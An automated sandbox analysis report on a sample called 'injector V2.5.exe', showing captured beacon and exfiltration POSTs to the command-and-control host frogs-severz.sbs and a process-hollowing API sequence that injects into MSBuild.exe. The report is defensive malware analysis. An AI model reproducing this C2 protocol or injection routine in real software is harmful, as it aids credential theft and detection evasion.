2024-11-23 13:17:43 UTC	15331	OUT	Data Raw: 2d 2d 4c 37 37 47 4c 52 38 33 54 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 0d 0a 2d 2d 4c 37 37 47 4c 52 38 33 54 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 37 37 47 4c 52 38 33 54 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 0d 0a 2d 2d 4c 37 37 47 4c 52 38 33 54 49 0d 0a 43 Data Ascii: --L77GLR83TIContent-Disposition: form-data; name="hwid"E8521D1DD42FF4D4FF1C6333321FCDD9--L77GLR83TIContent-Disposition: form-data; name="pid"3--L77GLR83TIContent-Disposition: form-data; name="lid"HpOoIh--b701621bcd05--L77GLR83TIC
2024-11-23 13:17:43 UTC	5065	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-11-23 13:17:44 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jbcc089jfiuuru81tcpr1dnf0t; expires=Wed, 19-Mar-2025 07:04:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CW432t9dcWOVfvl55ODmU8%2BfE5W%2F5Ii2KxgwZfS9lb90xzp8jx79gvNcak%2B1CFLFA1tH1AQqgZAm0OCXw5P4PDMED3XUkkD4TBnMVbeHLanpwiXqd%2Bf25tsy6xbNLGC8ZH6k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170eb9c9f4368-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21350&delivery_rate=1504379&cwnd=231&unsent_bytes=0&cid=64505670ec3d9eba&ts=763&x=0"
2024-11-23 13:17:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:17:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:45 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HDOQ1XHNTVIKDHFR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1261 Host: frogs-severz.sbs
2024-11-23 13:17:45 UTC	1261	OUT	Data Raw: 2d 2d 48 44 4f 51 31 58 48 4e 54 56 49 4b 44 48 46 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 0d 0a 2d 2d 48 44 4f 51 31 58 48 4e 54 56 49 4b 44 48 46 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 44 4f 51 31 58 48 4e 54 56 49 4b 44 48 46 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 Data Ascii: --HDOQ1XHNTVIKDHFRContent-Disposition: form-data; name="hwid"E8521D1DD42FF4D4FF1C6333321FCDD9--HDOQ1XHNTVIKDHFRContent-Disposition: form-data; name="pid"1--HDOQ1XHNTVIKDHFRContent-Disposition: form-data; name="lid"HpOoIh--b701621bcd0
2024-11-23 13:17:46 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=puksl3vj1dvirlhsbakinca1bg; expires=Wed, 19-Mar-2025 07:04:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lspfioqh%2F1azg4v5sC3bo4M%2FCkwu8unkAZ6CbBle%2FWCyDgSgQdFa8aMWNJ%2BjKlG%2BV9dQN5ddJbytyIC3k%2B6qX87%2FH7WTIsftlOSRgfLxpsy5h2XYwoy%2F5Wc5ywhF9cNOq9Fz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170fb3b6443ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2176&delivery_rate=1651583&cwnd=226&unsent_bytes=0&cid=a95d7b0738088fbc&ts=698&x=0"
2024-11-23 13:17:46 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:17:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49738	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:48 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7TCT4MM8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1074 Host: frogs-severz.sbs
2024-11-23 13:17:48 UTC	1074	OUT	Data Raw: 2d 2d 37 54 43 54 34 4d 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 0d 0a 2d 2d 37 54 43 54 34 4d 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 54 43 54 34 4d 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 0d 0a 2d 2d 37 54 43 54 34 4d 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --7TCT4MM8Content-Disposition: form-data; name="hwid"E8521D1DD42FF4D4FF1C6333321FCDD9--7TCT4MM8Content-Disposition: form-data; name="pid"1--7TCT4MM8Content-Disposition: form-data; name="lid"HpOoIh--b701621bcd05--7TCT4MM8Content-D
2024-11-23 13:17:49 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=acuhafqn2icqpu7g5jjet6bhgb; expires=Wed, 19-Mar-2025 07:04:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHdTk8wrMr9QeKMNYvteJ%2BSJZ1tphz3pzj%2FX6iDeCnJWxD%2BQPyCtMj6ZnQNANWrxfbxJtFLJ%2F8mP1rta0yrPCbWIO3OJ3e10W13WqqT%2Fno87hp2iZCJT7mGAabGfNyQ4JKn4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71710879d4efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1981&delivery_rate=1522419&cwnd=187&unsent_bytes=0&cid=b47a8fa16bbda206&ts=1409&x=0"
2024-11-23 13:17:49 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:17:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:50 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: frogs-severz.sbs
2024-11-23 13:17:50 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--b701621bcd05&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=E8521D1DD42FF4D4FF1C6333321FCDD9
2024-11-23 13:17:51 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i4ktt74o30d57qa4mpg33us7kk; expires=Wed, 19-Mar-2025 07:04:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKc6vpgGV7q5gbgHpv4Aa3kkw0ySoRTDTe%2FEHORdBVGG3nhxYalssQq3n9luE4TgzaGHDIxRSvS6oFUKkN8y6J8n7cOAygILrc59x6tR1S4y36JflM5f%2FLD5293Fp%2BpJZGoB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71711a3dd50f42-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1022&delivery_rate=1752701&cwnd=180&unsent_bytes=0&cid=d21e6d72cfc0506c&ts=709&x=0"
2024-11-23 13:17:51 UTC	54	IN	Data Raw: 33 30 0d 0a 76 49 30 59 77 30 63 4f 4c 30 5a 31 45 6f 39 44 75 43 4f 67 68 2b 37 31 33 67 57 77 46 55 6d 56 65 53 75 38 65 33 66 5a 4a 4f 7a 6e 30 41 3d 3d 0d 0a Data Ascii: 30vI0Yw0cOL0Z1Eo9DuCOgh+713gWwFUmVeSu8e3fZJOzn0A==
2024-11-23 13:17:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:17:27
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\injector V2.5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injector V2.5.exe"
Imagebase:	0x5f0000
File size:	501'248 bytes
MD5 hash:	BCC3A5AC8CA364B58E08A8E771992D6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:17:27
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:17:28
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\injector V2.5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injector V2.5.exe"
Imagebase:	0x5f0000
File size:	501'248 bytes
MD5 hash:	BCC3A5AC8CA364B58E08A8E771992D6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.5%
Total number of Nodes:	1634
Total number of Limit Nodes:	25

Executed Functions

Function 0061B18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0061B0FF,0061B0EF), ref: 0061B323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0061B336
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 0061B354
ReadProcessMemory.KERNELBASE(00000098,?,0061B143,00000004,00000000), ref: 0061B378
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 0061B3A3
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 0061B3FB
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 0061B446
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 0061B484
Wow64SetThreadContext.KERNEL32(0000009C,005E0000), ref: 0061B4C0
ResumeThread.KERNELBASE(0000009C), ref: 0061B4CF

Strings

SetThreadContext, xrefs: 0061B2B1
ReadProcessMemory, xrefs: 0061B278
WriteProcessMemory, xrefs: 0061B29E
GetThreadContext, xrefs: 0061B265
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0061B322
VirtualAlloc, xrefs: 0061B252
CreateProcessW, xrefs: 0061B23F
GetP, xrefs: 0061B20D
TerminateProcess, xrefs: 0061B3B2
VirtualAllocEx, xrefs: 0061B28B
Load, xrefs: 0061B1C9
ResumeThread, xrefs: 0061B2C7
aryA, xrefs: 0061B1D1
ress, xrefs: 0061B215

Memory Dump Source

Source File: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 62e7c071e4026d446abc074c7b52a9f44068ed917d5621c8140af02c49819bd7
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: C3B1F87660064AAFDB60CF68CC80BDA73A5FF88714F198524EA1CAB341D774FA51CB94

Function 005FCD10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed95a7a43b6a73312b74311182ddabfbf29d459905ebf082e876639bc1bca847
Instruction ID: 4351051820e42e3dd22d43da20dd84e32ae3e644fe102efffbbca6bf1974e808
Opcode Fuzzy Hash: ed95a7a43b6a73312b74311182ddabfbf29d459905ebf082e876639bc1bca847
Instruction Fuzzy Hash: 0B011974A0420C8FC754DF68C885AD9FBF0EB18710F0484ADA88897340EB74AA84CF85

Function 00609DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,F8F81887,?,00609EE2,?,?,00000000), ref: 00609E94

Strings

ext-ms-, xrefs: 00609E3E
api-ms-, xrefs: 00609E2A

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: a0b570e60c3da1a6054b55c6a7a6ffbf0325d7fcb3880e1d2b920ddcc840efd8
Instruction ID: 9a9ac5b7aca641b2095760e47fc584812a4cc0cb874b773b8e8fe5af7514b386
Opcode Fuzzy Hash: a0b570e60c3da1a6054b55c6a7a6ffbf0325d7fcb3880e1d2b920ddcc840efd8
Instruction Fuzzy Hash: 8421D531A80211ABD725DB60DC45ADB775BEF81B70B295121ED06A73E2DB30ED02C6F0

Function 005FBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 005FBF10

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 41414c17aeffbca1c01d73ae9c9b0ae9c25ce7270b14b4450319d8f31b36ddd5
Instruction ID: 39d0ce560d141fbab5cdd819bd48840ded4e5639cb042074cd29ec205f54d69a
Opcode Fuzzy Hash: 41414c17aeffbca1c01d73ae9c9b0ae9c25ce7270b14b4450319d8f31b36ddd5
Instruction Fuzzy Hash: F97136B490420DDFDB04DFA8D5586AEBFF0FB48700F10892AE956AB350DB389945DF52

Function 00606CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00016E00,00000000,?,?), ref: 00606D2F
GetLastError.KERNEL32(?,00000000,00000000,?,00603BEA), ref: 00606D3B
__dosmaperr.LIBCMT ref: 00606D42

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: ff42be546b60fe3c9043301d9fdc3ab4d9ff7ea0b72d6d96ab63623efe81d8ab
Instruction ID: e5728e700984e18a598f1892883abf90f3a1c10e8cb7ce670ffc5bb039f903d8
Opcode Fuzzy Hash: ff42be546b60fe3c9043301d9fdc3ab4d9ff7ea0b72d6d96ab63623efe81d8ab
Instruction Fuzzy Hash: 54017172680209AFDF1D9FA0DC15AEF3BA6EF40764F104058F801962D0DBB0DE60DB94

Function 00606FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,006070B1,006083A0,006083A0,?,00000002,F8F81887,006083A0,00000002), ref: 00607000
TerminateProcess.KERNEL32(00000000,?,006070B1,006083A0,006083A0,?,00000002,F8F81887,006083A0,00000002), ref: 00607007
ExitProcess.KERNEL32 ref: 00607019

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 883940a37598c61d8ebf153205062fd0db2de13a47a93f0628470de9623ed820
Instruction ID: 89923c213c0ba5d7f2098e3900709d3e75fa2cd31f64cef0d98b5b6c1917ddb9
Opcode Fuzzy Hash: 883940a37598c61d8ebf153205062fd0db2de13a47a93f0628470de9623ed820
Instruction Fuzzy Hash: 10D09231444109BFDF552FA1EC1D8CE3FABAF44351B08D015B9098A1B1CB35EDAADBA4

Function 0060A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0060A621,0061A088,0000000C), ref: 0060A77E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0060A621,0061A088,0000000C), ref: 0060A790

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: e49d0c7595197da372d782bb466157b041ea047f07b601630569dadec3cdc678
Instruction ID: 3e31e440cf6a31647daf1ab0924ec41583bcc3aa8501e66244ead3e809ec89c1
Opcode Fuzzy Hash: e49d0c7595197da372d782bb466157b041ea047f07b601630569dadec3cdc678
Instruction Fuzzy Hash: 1B1129795447414ACB388E7ECC886A77AB7AB563B0B38871AD1B6876F1C234D846D243

